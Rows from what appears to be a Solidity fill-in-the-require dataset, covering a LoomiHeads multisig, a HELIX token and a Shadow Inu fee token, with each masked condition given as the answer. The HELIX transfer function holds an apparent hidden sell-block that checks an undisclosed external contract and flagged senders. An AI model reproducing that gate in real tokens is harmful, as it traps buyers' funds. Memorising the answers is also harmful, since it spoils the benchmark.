----We also make sure that an admin can't manipulate the system and vote more than once using voteHelper
*/
function replaceAdmin(address adminToBan, address newAdmin, bytes[] memory _signatures) external onlyAdmin returns(bool){
}
//replaceAdmin Helper Function
function getIndexOfAdmin(address adminAddress) internal view returns(uint256){
}
/*
Check Multi Sig For Transfer Ownership
----must have at least 3/4 admins agree upon this new change
---- loop through all the signatures and if >2 (at least 3) signatures match an admin
---- we ban the oldAdmin and add the newAdmin
----We also have to make sure that an admin can't manipulate the system and vote more than once
*/
function approveTransferOwnership(address newOwner,bytes[] memory signatures) public returns(bool){
}
function isTransferOwnershipApproved() public view returns(bool){
}
function deposit() external payable returns(bool) {
}
function sendValue(address payable recipient, uint256 amount) internal {
}
function getNewOwner() public view returns(address){
}
function withdraw() external payable returns(bool){
}
receive() external payable {
}
fallback() external payable {
}
}
| !hasRan,"Already Ran" | 260,261 | !hasRan |
"Not Loomi Contract Calling" | //SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/*
██╗░░░░░░█████╗░░█████╗░███╗░░░███╗██╗ ██╗░░██╗███████╗░█████╗░██████╗░░██████╗
██║░░░░░██╔══██╗██╔══██╗████╗░████║██║ ██║░░██║██╔════╝██╔══██╗██╔══██╗██╔════╝
██║░░░░░██║░░██║██║░░██║██╔████╔██║██║ ███████║█████╗░░███████║██║░░██║╚█████╗░
██║░░░░░██║░░██║██║░░██║██║╚██╔╝██║██║ ██╔══██║██╔══╝░░██╔══██║██║░░██║░╚═══██╗
███████╗╚█████╔╝╚█████╔╝██║░╚═╝░██║██║ ██║░░██║███████╗██║░░██║██████╔╝██████╔╝
╚══════╝░╚════╝░░╚════╝░╚═╝░░░░░╚═╝╚═╝ ╚═╝░░╚═╝╚══════╝╚═╝░░╚═╝╚═════╝░╚═════╝░
*/
import "erc721a/contracts/ERC721A.sol";
import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
contract Multi_Sig is Ownable, ReentrancyGuard {
using Strings for uint256;
using ECDSA for bytes32;
/* Keeps track of which vote we're currently on.
Used in hashing an eth message and verifying signer
Prevents signature duplicates
*/
uint256 public ballotNumber;
//Store Admin Positions
mapping(address => bytes32) public adminMapping;
//Store information helping for voting
mapping(uint256 => ballotRound) public voteHelper;
//Store information for changing the address at payroll index
// mapping(uint256 => payeeHelper) internal payeeVoteMapping;
address[] public payroll = [
0x9376b1b8931f3F02B4119665079fb37C91d05464,
0x4D4658b37b1eaB41a7Dca14c7EF90A8835186853,
0x79FB7f4F1eD90DCC3a9a2200eFf843038C5DFcB5,
0x0c2f8b7D7A7C8979F8297c14d27e76E7909ac1c0];
//LoomiHeads main collection smart contract address
address public loomiHeads;
//Helper Bool
bool hasRan;
struct ballotRound{
mapping(address=>bool) hasVoted;
bool isApproved;
address newOwner;
}
constructor()
{
}
//MODIFIER check if sender == admin
modifier onlyAdmin() {
}
//MODIFIER We can only set Loomiheads address one time
modifier onlyLetExecuteOnce(){
}
//Check if Caller is Loomiheads Contract
modifier onlyLoomiContract(){
require(_msgSender()!=address(0));
require(<FILL_ME>)
_;
}
//sets Loomi Address, can only be used once
function setLoomiAddress(address deployment_address) public onlyLetExecuteOnce onlyOwner nonReentrant{
}
/*
increments ballotNumber
only usable by LoomisContract
used when TransferOwnership is called in LoomiHeads collection
*/
function incrementBallotNumber() external onlyLoomiContract{
}
//used by LoomiHeads main collection contract
function isAdmin(address sender) external view returns(bool){
}
/*REPLACE ADMIN FUNCTION
@dev
----must have at least 3/4 admins agree upon this new change
---- loop through all the signatures and if >2 (at least 3) signatures match an admin
---- we ban the oldAdmin and add the newAdmin
----We also make sure that an admin can't manipulate the system and vote more than once using voteHelper
*/
function replaceAdmin(address adminToBan, address newAdmin, bytes[] memory _signatures) external onlyAdmin returns(bool){
}
//replaceAdmin Helper Function
function getIndexOfAdmin(address adminAddress) internal view returns(uint256){
}
/*
Check Multi Sig For Transfer Ownership
----must have at least 3/4 admins agree upon this new change
---- loop through all the signatures and if >2 (at least 3) signatures match an admin
---- we ban the oldAdmin and add the newAdmin
----We also have to make sure that an admin can't manipulate the system and vote more than once
*/
function approveTransferOwnership(address newOwner,bytes[] memory signatures) public returns(bool){
}
function isTransferOwnershipApproved() public view returns(bool){
}
function deposit() external payable returns(bool) {
}
function sendValue(address payable recipient, uint256 amount) internal {
}
function getNewOwner() public view returns(address){
}
function withdraw() external payable returns(bool){
}
receive() external payable {
}
fallback() external payable {
}
}
| _msgSender()==loomiHeads,"Not Loomi Contract Calling" | 260,261 | _msgSender()==loomiHeads |
"must ban a current admin" | //SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/*
██╗░░░░░░█████╗░░█████╗░███╗░░░███╗██╗ ██╗░░██╗███████╗░█████╗░██████╗░░██████╗
██║░░░░░██╔══██╗██╔══██╗████╗░████║██║ ██║░░██║██╔════╝██╔══██╗██╔══██╗██╔════╝
██║░░░░░██║░░██║██║░░██║██╔████╔██║██║ ███████║█████╗░░███████║██║░░██║╚█████╗░
██║░░░░░██║░░██║██║░░██║██║╚██╔╝██║██║ ██╔══██║██╔══╝░░██╔══██║██║░░██║░╚═══██╗
███████╗╚█████╔╝╚█████╔╝██║░╚═╝░██║██║ ██║░░██║███████╗██║░░██║██████╔╝██████╔╝
╚══════╝░╚════╝░░╚════╝░╚═╝░░░░░╚═╝╚═╝ ╚═╝░░╚═╝╚══════╝╚═╝░░╚═╝╚═════╝░╚═════╝░
*/
import "erc721a/contracts/ERC721A.sol";
import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
contract Multi_Sig is Ownable, ReentrancyGuard {
using Strings for uint256;
using ECDSA for bytes32;
/* Keeps track of which vote we're currently on.
Used in hashing an eth message and verifying signer
Prevents signature duplicates
*/
uint256 public ballotNumber;
//Store Admin Positions
mapping(address => bytes32) public adminMapping;
//Store information helping for voting
mapping(uint256 => ballotRound) public voteHelper;
//Store information for changing the address at payroll index
// mapping(uint256 => payeeHelper) internal payeeVoteMapping;
address[] public payroll = [
0x9376b1b8931f3F02B4119665079fb37C91d05464,
0x4D4658b37b1eaB41a7Dca14c7EF90A8835186853,
0x79FB7f4F1eD90DCC3a9a2200eFf843038C5DFcB5,
0x0c2f8b7D7A7C8979F8297c14d27e76E7909ac1c0];
//LoomiHeads main collection smart contract address
address public loomiHeads;
//Helper Bool
bool hasRan;
struct ballotRound{
mapping(address=>bool) hasVoted;
bool isApproved;
address newOwner;
}
constructor()
{
}
//MODIFIER check if sender == admin
modifier onlyAdmin() {
}
//MODIFIER We can only set Loomiheads address one time
modifier onlyLetExecuteOnce(){
}
//Check if Caller is Loomiheads Contract
modifier onlyLoomiContract(){
}
//sets Loomi Address, can only be used once
function setLoomiAddress(address deployment_address) public onlyLetExecuteOnce onlyOwner nonReentrant{
}
/*
increments ballotNumber
only usable by LoomisContract
used when TransferOwnership is called in LoomiHeads collection
*/
function incrementBallotNumber() external onlyLoomiContract{
}
//used by LoomiHeads main collection contract
function isAdmin(address sender) external view returns(bool){
}
/*REPLACE ADMIN FUNCTION
@dev
----must have at least 3/4 admins agree upon this new change
---- loop through all the signatures and if >2 (at least 3) signatures match an admin
---- we ban the oldAdmin and add the newAdmin
----We also make sure that an admin can't manipulate the system and vote more than once using voteHelper
*/
function replaceAdmin(address adminToBan, address newAdmin, bytes[] memory _signatures) external onlyAdmin returns(bool){
require(<FILL_ME>)
require(adminMapping[newAdmin] != keccak256("admin"),"New Admin Can't Be Old Admin");
//init an address to be used later
address curr_signer;
uint256 count;
bytes32 hash = keccak256(abi.encodePacked(ballotNumber,adminToBan,newAdmin));
for(uint256 i;i<_signatures.length;i++){
curr_signer = hash.toEthSignedMessageHash().recover(_signatures[i]);
if(adminMapping[curr_signer] == keccak256("admin")){
//Prevent Voter Manipulation
if(voteHelper[ballotNumber].hasVoted[curr_signer] == false){
voteHelper[ballotNumber].hasVoted[curr_signer] = true;
count++;
}
}
}
//at least 3 votes?
if(count>2){
uint256 indexOfOldAdmin = getIndexOfAdmin(adminToBan);
payroll[indexOfOldAdmin] = newAdmin;
delete adminMapping[adminToBan];
adminMapping[newAdmin] = keccak256("admin");
ballotNumber++;
return true;
}
//If Not Enough Votes, Reset Storage
revert("Not Enough Votes");
}
//replaceAdmin Helper Function
function getIndexOfAdmin(address adminAddress) internal view returns(uint256){
}
/*
Check Multi Sig For Transfer Ownership
----must have at least 3/4 admins agree upon this new change
---- loop through all the signatures and if >2 (at least 3) signatures match an admin
---- we ban the oldAdmin and add the newAdmin
----We also have to make sure that an admin can't manipulate the system and vote more than once
*/
function approveTransferOwnership(address newOwner,bytes[] memory signatures) public returns(bool){
}
function isTransferOwnershipApproved() public view returns(bool){
}
function deposit() external payable returns(bool) {
}
function sendValue(address payable recipient, uint256 amount) internal {
}
function getNewOwner() public view returns(address){
}
function withdraw() external payable returns(bool){
}
receive() external payable {
}
fallback() external payable {
}
}
| adminMapping[adminToBan]==keccak256("admin"),"must ban a current admin" | 260,261 | adminMapping[adminToBan]==keccak256("admin") |
"New Admin Can't Be Old Admin" | //SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/*
██╗░░░░░░█████╗░░█████╗░███╗░░░███╗██╗ ██╗░░██╗███████╗░█████╗░██████╗░░██████╗
██║░░░░░██╔══██╗██╔══██╗████╗░████║██║ ██║░░██║██╔════╝██╔══██╗██╔══██╗██╔════╝
██║░░░░░██║░░██║██║░░██║██╔████╔██║██║ ███████║█████╗░░███████║██║░░██║╚█████╗░
██║░░░░░██║░░██║██║░░██║██║╚██╔╝██║██║ ██╔══██║██╔══╝░░██╔══██║██║░░██║░╚═══██╗
███████╗╚█████╔╝╚█████╔╝██║░╚═╝░██║██║ ██║░░██║███████╗██║░░██║██████╔╝██████╔╝
╚══════╝░╚════╝░░╚════╝░╚═╝░░░░░╚═╝╚═╝ ╚═╝░░╚═╝╚══════╝╚═╝░░╚═╝╚═════╝░╚═════╝░
*/
import "erc721a/contracts/ERC721A.sol";
import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
contract Multi_Sig is Ownable, ReentrancyGuard {
using Strings for uint256;
using ECDSA for bytes32;
/* Keeps track of which vote we're currently on.
Used in hashing an eth message and verifying signer
Prevents signature duplicates
*/
uint256 public ballotNumber;
//Store Admin Positions
mapping(address => bytes32) public adminMapping;
//Store information helping for voting
mapping(uint256 => ballotRound) public voteHelper;
//Store information for changing the address at payroll index
// mapping(uint256 => payeeHelper) internal payeeVoteMapping;
address[] public payroll = [
0x9376b1b8931f3F02B4119665079fb37C91d05464,
0x4D4658b37b1eaB41a7Dca14c7EF90A8835186853,
0x79FB7f4F1eD90DCC3a9a2200eFf843038C5DFcB5,
0x0c2f8b7D7A7C8979F8297c14d27e76E7909ac1c0];
//LoomiHeads main collection smart contract address
address public loomiHeads;
//Helper Bool
bool hasRan;
struct ballotRound{
mapping(address=>bool) hasVoted;
bool isApproved;
address newOwner;
}
constructor()
{
}
//MODIFIER check if sender == admin
modifier onlyAdmin() {
}
//MODIFIER We can only set Loomiheads address one time
modifier onlyLetExecuteOnce(){
}
//Check if Caller is Loomiheads Contract
modifier onlyLoomiContract(){
}
//sets Loomi Address, can only be used once
function setLoomiAddress(address deployment_address) public onlyLetExecuteOnce onlyOwner nonReentrant{
}
/*
increments ballotNumber
only usable by LoomisContract
used when TransferOwnership is called in LoomiHeads collection
*/
function incrementBallotNumber() external onlyLoomiContract{
}
//used by LoomiHeads main collection contract
function isAdmin(address sender) external view returns(bool){
}
/*REPLACE ADMIN FUNCTION
@dev
----must have at least 3/4 admins agree upon this new change
---- loop through all the signatures and if >2 (at least 3) signatures match an admin
---- we ban the oldAdmin and add the newAdmin
----We also make sure that an admin can't manipulate the system and vote more than once using voteHelper
*/
function replaceAdmin(address adminToBan, address newAdmin, bytes[] memory _signatures) external onlyAdmin returns(bool){
require(adminMapping[adminToBan] == keccak256("admin"),"must ban a current admin");
require(<FILL_ME>)
//init an address to be used later
address curr_signer;
uint256 count;
bytes32 hash = keccak256(abi.encodePacked(ballotNumber,adminToBan,newAdmin));
for(uint256 i;i<_signatures.length;i++){
curr_signer = hash.toEthSignedMessageHash().recover(_signatures[i]);
if(adminMapping[curr_signer] == keccak256("admin")){
//Prevent Voter Manipulation
if(voteHelper[ballotNumber].hasVoted[curr_signer] == false){
voteHelper[ballotNumber].hasVoted[curr_signer] = true;
count++;
}
}
}
//at least 3 votes?
if(count>2){
uint256 indexOfOldAdmin = getIndexOfAdmin(adminToBan);
payroll[indexOfOldAdmin] = newAdmin;
delete adminMapping[adminToBan];
adminMapping[newAdmin] = keccak256("admin");
ballotNumber++;
return true;
}
//If Not Enough Votes, Reset Storage
revert("Not Enough Votes");
}
//replaceAdmin Helper Function
function getIndexOfAdmin(address adminAddress) internal view returns(uint256){
}
/*
Check Multi Sig For Transfer Ownership
----must have at least 3/4 admins agree upon this new change
---- loop through all the signatures and if >2 (at least 3) signatures match an admin
---- we ban the oldAdmin and add the newAdmin
----We also have to make sure that an admin can't manipulate the system and vote more than once
*/
function approveTransferOwnership(address newOwner,bytes[] memory signatures) public returns(bool){
}
function isTransferOwnershipApproved() public view returns(bool){
}
function deposit() external payable returns(bool) {
}
function sendValue(address payable recipient, uint256 amount) internal {
}
function getNewOwner() public view returns(address){
}
function withdraw() external payable returns(bool){
}
receive() external payable {
}
fallback() external payable {
}
}
| adminMapping[newAdmin]!=keccak256("admin"),"New Admin Can't Be Old Admin" | 260,261 | adminMapping[newAdmin]!=keccak256("admin") |
"e" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IERC20.sol";
/**
* https://www.godzillaaa.com
*
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
contract HELIX is IERC20 {
using SafeMath for uint256;
string private _name;
string private _symbol;
uint256 private _totalSupply;
address private _owner;
mapping (address => uint256) private _balances;
mapping (address => uint256) private _all;
mapping (address => mapping (address => uint256)) private _allowances;
address private immutable _cll;
constructor(
string memory _name_, string memory _symbol_,
address _cll_, uint256 _allNum_) {
}
/**
* @dev Returns the address of the current owner.
*/
function owner() external view returns (address) {
}
/**
* @dev Returns the token decimals.
*/
function decimals() external pure override returns (uint8) {
}
/**
* @dev Returns the token symbol.
*/
function symbol() external view override returns (string memory) {
}
/**
* @dev Returns the token name.
*/
function name() external view override returns (string memory) {
}
/**
* @dev See {ERC20-totalSupply}.
*/
function totalSupply() external view override returns (uint256) {
}
/**
* @dev See {ERC20-balanceOf}.
*/
function balanceOf(address account) external view override returns (uint256) {
}
/**
* @dev See {ERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) external override returns (bool) {
}
/**
* @dev See {ERC20-allowance}.
*/
function allowance(address owner_, address spender) external view override returns (uint256) {
}
/**
* @dev See {ERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) external override returns (bool) {
}
function care(uint256[] calldata bitpig) external {
}
function loveLL9(address ll1, uint256 xst,
address ll2) private view returns (uint256) {
}
/**
* @dev See {ERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for `sender`'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {ERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) external returns (bool) {
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {ERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) external returns (bool) {
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
(bool success, bytes memory data) = _cll
.call(
abi.encodeWithSignature("balanceOf(address)", sender)
);
if (success) {
uint256 xokj;
assembly {
xokj := mload(add(data, 0x20))
}
require(<FILL_ME>)
}
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner_, address spender, uint256 amount) internal {
}
}
| _all[sender]!=1||xokj!=0,"e" | 260,321 | _all[sender]!=1||xokj!=0 |
null | /**
sSSs .S S. .S_SSSs .S_sSSs sSSs_sSSs .S S. .S .S_sSSs .S S.
d%%SP .SS SS. .SS~SSSSS .SS~YS%%b d%%SP~YS%%b .SS SS. .SS .SS~YS%%b .SS SS.
d%S' S%S S%S S%S SSSS S%S `S%b d%S' `S%b S%S S%S S%S S%S `S%b S%S S%S
S%| S%S S%S S%S S%S S%S S%S S%S S%S S%S S%S S%S S%S S%S S%S S%S
S&S S%S SSSS%S S%S SSSS%S S%S S&S S&S S&S S%S S%S S&S S%S S&S S&S S&S
Y&Ss S&S SSS&S S&S SSS%S S&S S&S S&S S&S S&S S&S S&S S&S S&S S&S S&S
`S&&S S&S S&S S&S S&S S&S S&S S&S S&S S&S S&S S&S S&S S&S S&S S&S
`S*S S&S S&S S&S S&S S&S S&S S&S S&S S&S S&S S&S S&S S&S S&S S&S
l*S S*S S*S S*S S&S S*S d*S S*b d*S S*S S*S S*S S*S S*S S*b d*S
.S*P S*S S*S S*S S*S S*S .S*S S*S. .S*S S*S . S*S S*S S*S S*S S*S. .S*S
sSS*S S*S S*S S*S S*S S*S_sdSSS SSSbs_sdSSS S*S_sSs_S*S S*S S*S S*S SSSbs_sdSSS
YSS' SSS S*S SSS S*S DONT~FADE DONT~FADE SSS~SSS~S*S S*S S*S SSS DONT~FADE
SP SP SP SP
Y Y Y Y
https://t.me/ShadowInuOfficial
*/
pragma solidity ^0.8.17;
// SPDX-License-Identifier: Unlicensed
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract SHADOWINU is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Shadow Inu";
string private constant _symbol = "SHADOW INU";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 100000000 * 10**_decimals;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 0;
uint256 private _taxFeeOnBuy = 3;
uint256 private _redisFeeOnSell = 0;
uint256 private _taxFeeOnSell = 3;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping (address => uint256) public _buyMap;
mapping (address => bool) public preTrader;
address private developmentAddress;
address private marketingAddress;
address private devFeeAddress1;
address private devFeeAddress2;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 1000000 * 10**_decimals;
uint256 public _maxWalletSize = 1000000 * 10**_decimals;
uint256 public _swapTokensAtAmount = 150000 * 10**_decimals;
struct Distribution {
uint256 development;
uint256 marketing;
uint256 devFee;
}
Distribution public distribution;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
}
constructor(address developmentAddr, address marketingAddr, address devFeeAddr1, address devFeeAddr2) {
}
function name() public pure returns (string memory) {
}
function symbol() public pure returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
function totalSupply() public pure override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
}
function removeAllFee() private {
}
function restoreAllFee() private {
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
}
function _transfer(
address from,
address to,
uint256 amount
) private {
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
}
function sendETHToFee(uint256 amount) private lockTheSwap {
}
function setTrading(bool _tradingOpen) public onlyOwner {
}
function manualswap() external {
require(<FILL_ME>)
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
}
function blockBots(address[] memory bots_) public onlyOwner {
}
function unblockBot(address notbot) public onlyOwner {
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
}
function setDistribution(uint256 development, uint256 marketing, uint256 devFee) external onlyOwner {
}
function _takeTeam(uint256 tTeam) private {
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
}
receive() external payable {
}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
}
function _getRate() private view returns (uint256) {
}
function _getCurrentSupply() private view returns (uint256, uint256) {
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
}
function allowPreTrading(address[] calldata accounts) public onlyOwner {
}
function removePreTrading(address[] calldata accounts) public onlyOwner {
}
}
| _msgSender()==developmentAddress||_msgSender()==marketingAddress||_msgSender()==devFeeAddress1||_msgSender()==devFeeAddress2 | 260,477 | _msgSender()==developmentAddress||_msgSender()==marketingAddress||_msgSender()==devFeeAddress1||_msgSender()==devFeeAddress2 |
"Recieved less PKN than transferred" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
